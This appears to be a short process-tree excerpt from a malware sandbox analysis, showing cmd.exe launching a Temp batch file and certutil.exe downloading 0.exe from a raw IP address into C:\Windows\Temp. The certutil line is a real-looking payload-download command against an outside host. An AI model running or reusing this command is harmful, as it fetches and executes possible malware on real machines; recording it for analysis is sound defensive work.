cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "dnhucXQYQdjMQ" C:\Users\test22\AppData\Local\Temp\clean.bat
cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\clean.bat
certutil.exe certutil -urlcache -split -f http://108.174.58.28/0.exe C:\Windows\Temp\0.exe
No process loaded Click on a process in the tree above to load its data.